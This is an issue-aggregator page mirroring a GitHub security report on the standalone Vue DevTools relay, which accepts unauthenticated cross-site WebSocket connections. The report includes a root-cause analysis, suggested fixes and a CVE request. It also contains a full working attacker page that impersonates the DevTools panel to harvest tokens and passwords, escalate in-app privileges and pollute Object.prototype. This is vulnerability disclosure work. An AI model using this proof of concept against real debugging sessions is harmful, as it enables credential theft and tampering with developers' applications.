Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

[Security] Unauthenticated cross-site WebSocket hijacking of the standalone Vue DevTools relay — credential theft, in-app privilege escalation, and prototype pollution

Aperta
#1,154 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

I maintainer di solito rispondono entro 1 giorno

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
5/5
Tempo stimato
Più di una settimana
Idoneità per principianti
35/100
Tipo di issue
Bug
Chiarezza
Abbastanza chiara
Stato di attività
Attiva
Stack tecnologico
electron, typescript
Ambito
devtools, security

Direzione di ricerca

Start by reviewing packages/electron/src/server.ts and packages/devtools-kit/src/messaging/presets/electron/proxy.ts to understand relay connection and role handling, then inspect packages/core/src/rpc/global.ts and packages/devtools-kit/src/core/component/state/editor.ts for the exposed RPC and write paths. Define an authentication and connection-boundary design, then verify that unauthenticated cross-origin clients cannot access the debugging API or mutate application state.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

Summary

The Vue DevTools standalone Electron app (npx @vue/devtools) runs a Socket.IO relay in its main process that connects two parties: the DevTools panel (the Electron window) and the application being debugged (any web page that loads the script served by the relay). The relay performs no authentication of any kind, and the role of a connection is determined purely by which Socket.IO events it emits.

A malicious web page visited by the developer — any origin, no user interaction beyond the page load — can open a WebSocket to this relay and simply act as the DevTools panel: emit the same events the panel emits, and the relay will faithfully forward the attacker's RPC calls into the victim application and route the responses back. This is cross-site WebSocket hijacking against a debugging protocol that holds full read/write authority over the debugged application's memory.

Through this single primitive the attacker obtains, all verified end-to-end (see "Observed results"):

  1. Enumeration of the victim application's component tree.
  2. Full in-memory state disclosure of any component — session tokens, passwords typed into forms, API responses held in reactive state (in the verified run: an auth token and a password were harvested).
  3. Arbitrary state writes inside the victim application — verified by flipping an isAdmin authorization flag, causing the victim page to render its gated admin panel (in-app privilege escalation).
  4. Prototype pollution of the victim application's Object.prototype via a __proto__ path segment (verified: ({}).pwned === "attacker-was-here" in the victim page).
  5. Source disclosure — the compiled render code of any component.

Attack surface

The Electron main process starts exactly one network server: an h3 + Socket.IO server on port 8098 (configurable via the PORT environment variable) that:

  • binds 0.0.0.0 — it prints listening on 0.0.0.0:8098 at startup, so it is reachable both from localhost (any website in the victim's browser) and from the entire LAN (any other machine, with no browser involved at all);
  • serves the "user app" attach script at GET / — this is the documented way applications opt into debugging (<script src="http://localhost:8098/"></script>), which means the victim page itself is expected to be a different origin from the relay, and the relay is expected to accept connections from it;
  • configures Socket.IO with cors: { origin: true } — permissive CORS with origin reflection.
Why CORS does not prevent this

The exploit was executed end-to-end from a file:// origin in a real browser, and every stage worked. Two independent reasons:

  • WebSocket transport: CORS does not apply to WebSocket connections. Any web page can open ws://localhost:8098/socket.io/… and exchange frames in both directions — request and response — regardless of origin. All read stages below therefore work cross-origin with full response readability.

  • HTTP polling transport (the Socket.IO fallback): the server reflects any Origin. Verified live against the running app:

    $ curl -i -H "Origin: https://attacker.example" "http://localhost:8098/socket.io/?EIO=4&transport=polling&t=attacker"
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: https://attacker.example
    …
    

Per-stage requirements:

  • Stages 1, 2, 5 (reads) need the response — and get it, per the above.
  • Stages 3, 4 (writes) take effect the moment the request is sent — reading the response is only optional evidence; the write already happened in the victim's process. A page that is closed immediately after sending still modifies the victim application.

Root cause (source analysis, tag v8.2.1)

1. The relay accepts every connection and never checks identity

packages/electron/src/server.ts — the entire server:

const port = process.env.PORT || 8098

export function init() {
  const app = createApp()
  app.use('/', eventHandler(() => {
    const userAppContent = fs.readFileSync(path.join(__dirname, './user-app.iife.js'), 'utf-8')
    const processSyntaxPolyfill = `if(!window.process){window.process={env:{}}};`
    return processSyntaxPolyfill + userAppContent
  }))
  const httpServer = createServer(toNodeListener(app))
  const io = new Server(httpServer, {
    cors: { origin: true, },                    // ← reflects ANY Origin (and WS ignores CORS anyway)
  })
  io.on('connection', (socket) => {             // ← every connection accepted: no auth, no token, no origin check
    setElectronProxyContext(socket)
    createRpcProxy({ preset: 'electron' })
    // Disconnect any previously connected apps
    socket.broadcast.emit('vue-devtools:disconnect-user-app')
    socket.on('vue-devtools:init', () => { socket.broadcast.emit('vue-devtools:init') })
    socket.on('vue-devtools:disconnect', () => { socket.broadcast.emit('vue-devtools:disconnect') })
    socket.on('disconnect', (reason) => { if (reason.indexOf('client')) socket.broadcast.emit('vue-devtools-disconnect-devtools') })
  })
  httpServer.listen(port, () => { console.log(`listening on 0.0.0.0:${port}`) })   // ← all interfaces
}

Three independent defects compound here: (a) no authentication on connection; (b) cors: { origin: true }; (c) an all-interfaces bind. Any TCP client — and therefore any website via WebSocket — becomes a first-class participant of the debugging session.

2. Roles are decided by events, and the relay forwards everything

The relay forwards traffic between the two roles with Socket.IO broadcast. packages/devtools-kit/src/messaging/presets/electron/proxy.ts (complete file):

export function createElectronProxyChannel(): MergeableChannelOptions {
  const socket = getElectronProxyContext()
  return {
    post: (data) => {},
    on: (handler) => {
      socket.on(SERVER_TO_PROXY, (data) => { socket.broadcast.emit(PROXY_TO_CLIENT, data) })
      socket.on(CLIENT_TO_PROXY, (data) => { socket.broadcast.emit(PROXY_TO_SERVER, data) })
    },
  }
}

(SERVER_TO_PROXY = server->proxy, i.e. app→relay; CLIENT_TO_PROXY = client->proxy, i.e. panel→relay.)

The relay has no concept of which socket is the real panel. Any socket that emits client->proxy is treated as the panel for routing purposes. The real panel is never authenticated, so an attacker's socket is indistinguishable from it.

3. The wire protocol is trivially forgeable

The RPC layer is birpc 2.6.1 over those two Socket.IO events, with a SuperJSON envelope. A panel→app request frame is simply:

{"json":{"m":"<rpc function name>","a":[<args>],"t":"q","i":"<request id>"}}

(real SuperJSON omits "meta" when empty, and the victim-side parser accepts that form). Responses return as {"t":"s","i":"<id>","r":<result>} on proxy->client. The attacker needs no library code — a two-line JSON.stringify({json:{…}}) stub produces frames the victim's RPC server accepts and executes. Results come back as a flatted/circular-chunk-encoded string (stringifyCircularAutoChunks — a JSON array prefixed with a leading space); the ~20-line decoder is inlined in the PoC below.

4. The forwarded RPC surface is the debugging API — unauthenticated

packages/core/src/rpc/global.ts exports the functions the app-side RPC server registers on connect. Once the attacker emits panel-style frames, all of these execute inside the victim application (excerpt; the file registers more, e.g. inspectDOM, scrollToComponent, toggleApp, getRouterInfo, plugin settings mutation):

export const functions = {
  // …
  async getInspectorTree(payload) {
    const res = await devtools.ctx.api.getInspectorTree(payload)
    return stringify(res) as string
  },
  async getInspectorState(payload) {
    const inspector = getInspector(payload.inspectorId)
    if (inspector)
      inspector.selectedNodeId = payload.nodeId
    const res = await devtools.ctx.api.getInspectorState(payload)
    return stringify(res) as string
  },
  async editInspectorState(payload) {
    return await devtools.ctx.api.editInspectorState(payload)
  },
  getComponentRenderCode(id: string) {
    return devtools.ctx.api.getComponentRenderCode(id)
  },
  callInspectorNodeAction(inspectorId: string, actionIndex: number, nodeId: string) { … item.action?.(nodeId) },
  callInspectorAction(inspectorId: string, actionIndex: number) { … item.action?.() },
  openInEditor(options: OpenInEditorOptions) {
    return devtools.ctx.api.openInEditor(options)
  },
  // …
}

This is the complete authority of the DevTools panel — reading every component's state, editing it, invoking inspector actions — handed to whoever connects, with getInspectorState even marking the inspected node as selected, exactly as if the developer had clicked it.

5. The write path enables arbitrary state mutation and prototype pollution

editInspectorState lands in packages/devtools-kit/src/core/component/state/editor.ts. First the target object is resolved from the first path segment the caller supplies (editComponentState):

export async function editComponentState(payload: InspectorStateEditorPayload, stateEditor: StateEditor) {
  const { path, nodeId, state, type } = payload
  const instance = getComponentInstance(activeAppRecord.value, nodeId)
  if (!instance)
    return

  const targetPath = path.slice()
  let target: Record<string, unknown> | undefined

  // 1. check if is props
  if (Object.keys(instance.props).includes(path[0])) {
    target = instance.props
  }
  // 2. check if is setup
  else if (instance.devtoolsRawSetupState && Object.keys(instance.devtoolsRawSetupState).includes(path[0])) {
    target = instance.devtoolsRawSetupState
  }
  // 3. check if is options
  else if (instance.data && Object.keys(instance.data).includes(path[0])) {
    target = instance.data
  }
  else {
    // 4. fallback
    target = instance.proxy
  }

  if (target && targetPath) {
    // @ts-expect-error skip type check
    stateEditor.set(target, targetPath, state.value, stateEditor.createDefaultSetCallback(state))
  }
}

Then StateEditor.set walks the remaining path segments with a plain property access — no filtering of dangerous keys:

set(object: Recordable, path: PropPath, value: unknown, cb?: …) {
  const sections = Array.isArray(path) ? path : path.split('.')
  const markRef = false
  while (sections.length > 1) {
    const section = sections.shift()!
    if (object instanceof Map)
      object = object.get(section) as Recordable
    else if (object instanceof Set)
      object = Array.from(object.values())[section] as Recordable
    else object = object[section] as Recordable        // ← '__proto__' walks straight onto Object.prototype
    if (this.refEditor.isRef(object))
      object = this.refEditor.get(object)
  }
  const field = sections[0]
  const item = this.refEditor.get(object)[field]
  if (cb) {
    cb(object, field, value)
  }
  else {
    // … plain assignment
  }
}

and the callback performs the write:

createDefaultSetCallback(state: EditStatePayload) {
  return (object: Recordable, field: string | number, value: unknown) => {
    // … remove branch …
    if (!state.remove) {
      const target = object[state.newKey || field]
      if (this.refEditor.isRef(target))
        this.refEditor.set(target, value)
      else if (toRaw(object) instanceof Map)
        object.set(state.newKey || field, value)
      else if (toRaw(object) instanceof Set)
        object.add(value)
      else
        object[state.newKey || field] = value      // ← executes in the victim application's realm
    }
  }
}

Consequences:

  • path: ['isAdmin'] — with the component's setup state as target — is an arbitrary in-app state write. Flipping an authorization flag is verified below; overwriting any other reactive field (form contents, routing guards, feature flags, displayed data) is equally possible.
  • path: ['session', '__proto__', 'pwned'] — the walk object['session'] then object['__proto__'] reaches Object.prototype, and the callback's final assignment pollutes it. Verified: ({}).pwned === "attacker-was-here" in the victim page. Since the victim is a live web application, this is classic client-side prototype pollution with all of its downstream gadget potential.

None of this is gated on anything — the victim app registers this RPC server the moment it loads the devtools script (packages/electron/src/user-app.core.ts):

socket.on('connect', () => {
  setElectronServerContext(socket)
  createRpcServer(functions, { preset: 'electron' })
  socket.emit('vue-devtools:init')
})

Proof of Concept

How to reproduce
  1. Start the vulnerable app (Node ≥ 18):

    npx @vue/[email protected]
    

    The Electron window opens and its main process starts the relay. It prints:

    listening on 0.0.0.0:8098
    
  2. Serve the victim demo page. Save the HTML below as index.html in an empty directory and run python -m http.server 5500 there. This page mimics an internal admin dashboard: it holds an auth token and a password in reactive state, gates an admin panel behind isAdmin, and probes Object.prototype for pollution. It attaches to the devtools relay exactly the way the tool documents (<script src="http://localhost:8098/"> before Vue) — note it uses the dev build of Vue, as prod builds do not emit the devtools hook.

  3. Open the attacker page. Save the HTML below anywhere (a local file is fine — the verified run used a file:// origin) and open it in any browser. In the attacker page, click connect (this happens before the victim loads — connecting later would evict an already-attached app; that eviction behavior is a separate issue we are reporting).

  4. Load the victim app at http://localhost:5500/ in another tab of the same browser (the relay is cross-origin by design, so any origin works; the same machine is the realistic case, and LAN victims work identically).

  5. Run the five stages in the attacker page, in order. Expected results — all verified end-to-end — are under "Observed results". Stage 3 visibly unlocks the admin panel in the victim tab; stage 4 visibly flips the pollution probe in the victim tab.

Practical note: the whole attack needs the attacker page merely to run — it can be any website the developer visits while a debugging session is live (stages 3–4 don't even need to read responses), and against a LAN peer it needs no browser on the attacker side at all (the identical frames can be sent from Node).

Victim demo page
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Victim App - Internal Admin Dashboard</title>
  <!-- Attach the debugged app to the standalone Vue DevTools (served by the Electron app on :8098).
       Must load BEFORE Vue so the devtools hook catches the app init event. -->
  <script src="http://localhost:8098/"></script>
  <!-- DEV build is required: prod Vue strips devtools hook emission, so the app
       would never register with the devtools server. -->
  <script src="https://unpkg.com/[email protected]/dist/vue.global.js"></script>
  <style>
    body { font-family: sans-serif; background: #1e1e2e; color: #cdd6f4; margin: 40px; }
    .card { background: #313244; padding: 16px 24px; border-radius: 8px; margin-bottom: 12px; max-width: 560px; }
    input { margin: 4px 0; padding: 6px; width: 240px; }
    .hidden { color: #f38ba8; }
  </style>
</head>
<body>
  <div id="app">
    <h2>Internal Admin Dashboard (dev instance)</h2>
    <div class="card">
      <div>Login session</div>
      <div>username: {{ user.username }}</div>
      <div>auth token: {{ session.token }}</div>
    </div>
    <div class="card">
      <div>Sign in form (v-model state)</div>
      <input v-model="form.username" placeholder="username">
      <input v-model="form.password" type="password" placeholder="password">
      <div>form state → {{ form }}</div>
    </div>
    <div class="card">
      <div>isAdmin: <b>{{ isAdmin }}</b></div>
      <div v-if="isAdmin" class="hidden">SECRET ADMIN PANEL — payout keys, customer PII, etc.</div>
      <div>prototype pollution probe (Object.prototype.pwned): <b>{{ protoProbe }}</b></div>
    </div>
  </div>
  <script>
    const { createApp, ref, reactive, computed, onMounted } = Vue
    createApp({
      setup() {
        const session = reactive({ token: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.demo-token' })
        const user = reactive({ username: 'copperkoi' })
        const form = reactive({ username: '', password: '' })
        const isAdmin = ref(false)
        const protoProbe = ref('(not polluted)')
        setInterval(() => {
          protoProbe.value = ({}).pwned === undefined ? '(not polluted)' : JSON.stringify(({}).pwned)
        }, 500)
        onMounted(() => { form.password = 'S3cr3t-P4ss!' })
        return { session, user, form, isAdmin, protoProbe }
      },
    }).mount('#app')
  </script>
</body>
</html>
Attacker page (self-contained PoC)

One HTML file, no build step, loads only socket.io-client from a CDN. Each stage prints whether it needs the response (and why it can read it cross-origin):

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Unauthenticated RPC hijack — Vue DevTools standalone relay (:8098)</title>
<script src="https://cdn.socket.io/4.7.5/socket.io.min.js"></script>
<style>
  body { font-family: Consolas, monospace; background: #111; color: #cde; margin: 24px; }
  button { margin: 2px 4px 2px 0; padding: 6px 10px; }
  pre { background: #000; color: #9f9; padding: 10px; white-space: pre-wrap; word-break: break-all; }
  input { width: 220px; }
  .note { color: #fd6; max-width: 900px; }
</style>
</head>
<body>
<h3>Unauthenticated RPC hijack — vue-devtools standalone (Socket.IO relay :8098)</h3>
<p class="note">
CORS: this page runs from ANY origin (verified from file://). The WebSocket transport is not
subject to CORS at all — responses are fully readable cross-origin. The polling fallback is
also readable because the server reflects any Origin (cors: {origin:true}). Stages 1, 2 and 5
READ responses (readable per above). Stages 3 and 4 (writes) take effect on send alone —
reading the response is only extra evidence.
</p>
<p>
relay: <input id="target" value="http://localhost:8098">
<button onclick="connect()">connect — impersonate the devtools panel (no auth)</button>
<span id="status">not connected</span>
</p>
<p>
<button onclick="run(pocTree)">1 · enumerate component tree</button>
<button onclick="run(pocState)">2 · dump state + harvest secrets</button>
<button onclick="run(pocAdmin)">3 · flip isAdmin (privilege escalation)</button>
<button onclick="run(pocProto)">4 · pollute Object.prototype</button>
<button onclick="run(pocCode)">5 · steal component render code</button>
</p>
<pre id="out"></pre>
<script>
/* ------------------------------------------------------------------ *
 * birpc-over-Socket.IO framing (birpc 2.6.1 + superjson envelope).  *
 * A request frame is SuperJSON.stringify({m,a,t:"q",i}); superjson   *
 * omits "meta" when empty and the victim-side parser accepts that,   *
 * so a two-line stub forges genuine panel frames.                    *
 * ------------------------------------------------------------------ */
const $ = id => document.getElementById(id)
const sleep = ms => new Promise(r => setTimeout(r, ms))
const stamp = () => new Date().toTimeString().slice(0, 8)
const log = s => { $('out').textContent += `[${stamp()}] ${s}\n` }
const SJstringify = obj => JSON.stringify({ json: obj })
const SJparse = s => { try { const p = JSON.parse(s); return (p && typeof p === 'object' && 'json' in p) ? p.json : p } catch { return s } }

/* RPC results are stringifyCircularAutoChunks() payloads (flatted    *
 * encoding, leading space, possibly chunked). Not exported from      *
 * @vue/devtools-kit, so the decoder is inlined verbatim from dist.   */
function flattedDecode(list) {
  let i = list.length, j, k, data, key, value, proto
  while (i--) {
    data = list[i]
    proto = Object.prototype.toString.call(data)
    if (proto === '[object Object]') {
      const keys = Object.keys(data)
      for (j = 0, k = keys.length; j < k; j++) { key = keys[j]; value = list[data[key]]; data[key] = value }
    } else if (proto === '[object Array]') {
      for (j = 0, k = data.length; j < k; j++) { value = list[data[j]]; data[j] = value }
    }
  }
}
function parseCircularAutoChunks(data) {
  if (Array.isArray(data)) data = data.join('')
  if (!/^\s/.test(data)) return JSON.parse(data)
  const list = JSON.parse(data)
  flattedDecode(list)
  return list[0]
}

/* ---- connection + request/response plumbing (no authentication exists) ---- */
let socket = null, reqSeq = 0, connected = false
const pending = new Map()

function rpc(method, args, timeoutMs = 8000) {
  return new Promise((resolve, reject) => {
    if (!connected) return reject(new Error('not connected'))
    const id = 'atk-' + (++reqSeq)
    const timer = setTimeout(() => {
      if (pending.delete(id)) reject(new Error(`timeout: no response to "${method}" in ${timeoutMs}ms — is a debugged app attached?`))
    }, timeoutMs)
    pending.set(id, { resolve, reject, timer })
    socket.emit('client->proxy', SJstringify({ m: method, a: args, t: 'q', i: id }))
  })
}

function connect() {
  socket = io($('target').value.trim(), { transports: ['websocket'] }) /* polling works too (origin reflection) */
  socket.on('connect', () => { connected = true; $('status').textContent = 'connected as devtools panel (unauthenticated)' })
  socket.on('disconnect', () => { connected = false; $('status').textContent = 'not connected' })
  socket.on('connect_error', e => log('[!] connect error: ' + e.message))
  socket.on('vue-devtools:init', () => log('a debugged app just attached — the stages can run now'))
  socket.on('proxy->client', (data) => {                 // relayed responses (app → panel)
    const msg = SJparse(data)
    if (msg && typeof msg === 'object' && msg.t === 's' && pending.has(msg.i)) {
      const p = pending.get(msg.i); pending.delete(msg.i); clearTimeout(p.timer)
      if (msg.e) p.reject(new Error(msg.e.message || JSON.stringify(msg.e)))
      else p.resolve(msg.r)
    }
  })
}

/* ---- exploitation stages ---- */
let flatTree = null
async function getFlatTree() {
  if (flatTree) return flatTree
  const tree = parseCircularAutoChunks(String(await rpc('getInspectorTree', [{ inspectorId: 'components', filter: '' }])))
  flatTree = []
  ;(function walk(nodes) { for (const n of (Array.isArray(nodes) ? nodes : [])) { flatTree.push(n); if (n.children) walk(n.children) } })(tree)
  return flatTree
}
async function findTarget() {
  const flat = await getFlatTree()
  return flat.find(n => n.name && n.name.toLowerCase().includes('app')) || flat.find(n => n.id === 'root') || flat[0]
}
async function readState(nodeId) {
  const st = parseCircularAutoChunks(String(await rpc('getInspectorState', [{ inspectorId: 'components', nodeId }])))
  const dump = {}
  for (const f of (st.state || [])) dump[f.key ?? f.name] = f.value
  return dump
}

async function pocTree() {                                            // READ — readable cross-origin (WS)
  const flat = await getFlatTree()
  log(`getInspectorTree → ${flat.length} component(s):\n` + flat.map(n => `  id=${n.id}  name=${n.name}`).join('\n'))
}
async function pocState() {                                           // READ — readable cross-origin (WS)
  const t = await findTarget()
  const dump = await readState(t.id)
  const rx = /(pass|pwd|token|secret|credential|auth|session|api[_-]?key|private|jwt)/i
  const hits = []
  ;(function walk(o, path) {
    if (o && typeof o === 'object') { for (const k of Object.keys(o)) walk(o[k], path ? `${path}.${k}` : k) }
    else if (rx.test(path)) hits.push(`${path} = ${JSON.stringify(o)}`)
  })(dump, '')
  log(`getInspectorState(nodeId=${t.id}) — full in-memory state of "${t.name}":\n` + JSON.stringify(dump, null, 2))
  log(hits.length ? `SECRETS HARVESTED FROM VICTIM MEMORY:\n  ${hits.join('\n  ')}` : 'no secret-looking keys in this component (try other ids from stage 1)')
}
async function pocAdmin() {                                           // WRITE — takes effect on SEND (read is optional evidence)
  const t = await findTarget()
  const before = await readState(t.id)
  await rpc('editInspectorState', [{ inspectorId: 'components', nodeId: t.id, path: ['isAdmin'], type: 'state', state: { value: true, remove: false } }])
  await sleep(800) /* the write already happened on send; this read is only extra evidence */
  const after = await readState(t.id)
  log(`editInspectorState(path=["isAdmin"], value=true) on nodeId=${t.id}\n`
    + `  isAdmin BEFORE: ${JSON.stringify(before.isAdmin)}\n`
    + `  isAdmin AFTER:  ${JSON.stringify(after.isAdmin)}\n`
    + (after.isAdmin === true ? '  → the victim app now renders its gated admin UI.' : '  → unchanged (pick a component that holds this state)'))
}
async function pocProto() {                                           // WRITE — takes effect on SEND (read is optional evidence)
  const t = await findTarget()
  const before = await readState(t.id)
  await rpc('editInspectorState', [{ inspectorId: 'components', nodeId: t.id, path: ['session', '__proto__', 'pwned'], type: 'state', state: { value: 'attacker-was-here', remove: false } }])
  await sleep(1500) /* the victim's own probe (a ref refreshed every 500ms) reflects Object.prototype */
  const after = await readState(t.id)
  log(`editInspectorState(path=["session","__proto__","pwned"], value="attacker-was-here") on nodeId=${t.id}\n`
    + `  victim Object.prototype.pwned BEFORE: ${JSON.stringify(before.protoProbe ?? '(field absent)')}\n`
    + `  victim Object.prototype.pwned AFTER:  ${JSON.stringify(after.protoProbe ?? '(field absent)')}`)
}
async function pocCode() {                                            // READ — readable cross-origin (WS)
  const t = await findTarget()
  const code = await rpc('getComponentRenderCode', [t.id])
  log(`getComponentRenderCode(id=${t.id}) → ${String(code).length} chars of compiled render source:\n${String(code).slice(0, 1200)}`)
}
const run = fn => fn().catch(e => log('[!] ' + e.message))
</script>
</body>
</html>
Observed results (end-to-end verified)

The sequence above was executed for real: standalone app 8.2.1 running, attacker page opened from a file:// origin in a browser, victim app on http://localhost:5500/ in another tab. Every stage succeeded:

  • Stage 2 — credentials harvested from victim memory (exact output):

    SECRETS HARVESTED FROM VICTIM MEMORY:
      session.token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.demo-token"
      form.password = "S3cr3t-P4ss!"
    
  • Stage 3 — authorization flag flipped, confirmed in the victim page itself (evaluated in the victim tab after the attack):

    {"admin": true, "polluted": "\"attacker-was-here\""}
    

    admin: true means the victim page — which previously hid it — now renders its SECRET ADMIN PANEL block. The same write primitive overwrites any other reactive state (form contents, routing/feature flags, displayed data).

  • Stage 4 — prototype pollution confirmed in the victim page: the victim's own probe (a 500 ms interval checking ({}).pwned) switched from (not polluted) to "attacker-was-here" — visible in the victim tab, and captured in the JSON above.

  • Stages 1 and 5 returned the component tree and the component's compiled render source to the attacker page (run from the file:// origin — cross-origin response reading working as described above).

The full chain (stages 1–5) completed in ~3.4 seconds against the demo app.

Scope notes (what this surface does not expose)

For completeness, the following were checked and are not reachable through this relay: clipboard access; OS-level cookies or browser profiles (only the debugged page's in-memory state is exposed); RCE / command injection / path traversal. openInEditor, the only RPC that looks editor-adjacent, merely makes the victim page's own origin fetch __open-in-editor?file=… (the dev-server endpoint) — it is not a command-execution vector here. The standalone app's only network surface is this relay.

Suggested fix

  1. Bind the relay to 127.0.0.1 by default. This is a local debugging tool; the current all-interfaces bind additionally exposes it to the entire LAN. Keep an opt-in for remote debugging, but make local the default.
  2. Authenticate every connection. Generate a random per-launch token when the Electron app starts, inject it into the script served at GET / (so legitimate user apps carry it automatically), and require it as a Socket.IO handshake auth field from all sockets — panel and user apps alike — before any relay, registration, or event subscription happens. Without this, anything else below is defense in depth only.
  3. Stop routing by broadcast; route to the specific authenticated peer (Socket.IO rooms or direct socket.emit). A foreign socket must never be able to act as, or receive the traffic of, the real panel or another session's app.
  4. Treat the RPC surface as privileged. getInspectorState / editInspectorState / getComponentRenderCode expose the debugged application's full memory and mutation authority; they should be gated behind the same authentication, and state mutations arguably disabled entirely for remote/non-local sessions.
  5. Filter dangerous path segments in the state editor. StateEditor.set / editComponentState should reject __proto__, prototype, and constructor segments. This is worth fixing in @vue/devtools-kit regardless, since the package is embedded in other products.
  6. Restrict the CORS configuration (allow only the panel's own origin / localhost). Note this alone does not fix the WebSocket vector — it only hardens the polling fallback; items 1–3 are the actual fixes.

Request for a CVE ID

This vulnerability affects every published version of the standalone @vue/devtools-electron line (7.0.0 – 8.2.1), and since the standalone app was removed in v9 there is no fixed version to point users to. We would therefore like to kindly ask the maintainers to help request a CVE ID for this issue.

The smoothest path is a GitHub Security Advisory: Security → Advisories → New draft security advisory, fill in the affected packages/versions and severity, then use "Request CVE ID" in the advisory sidebar (GitHub is a CVE Numbering Authority, so the ID can be issued directly from there). We are happy to help with the advisory write-up — the text above can serve as a starting point — and to coordinate the disclosure timeline. If you prefer to handle this report privately first, we will gladly continue in the private advisory thread instead of this public issue.

Lingua principale
TypeScript
Stelle
2.9k
Fork
289
Merge medio
2g 3h
PR unite (30g)
19

Preparare l'ambiente

Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di vuejs/devtools

Tutte le issue di vuejs/devtools

Issue simili

Altre issue su TypeScript

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.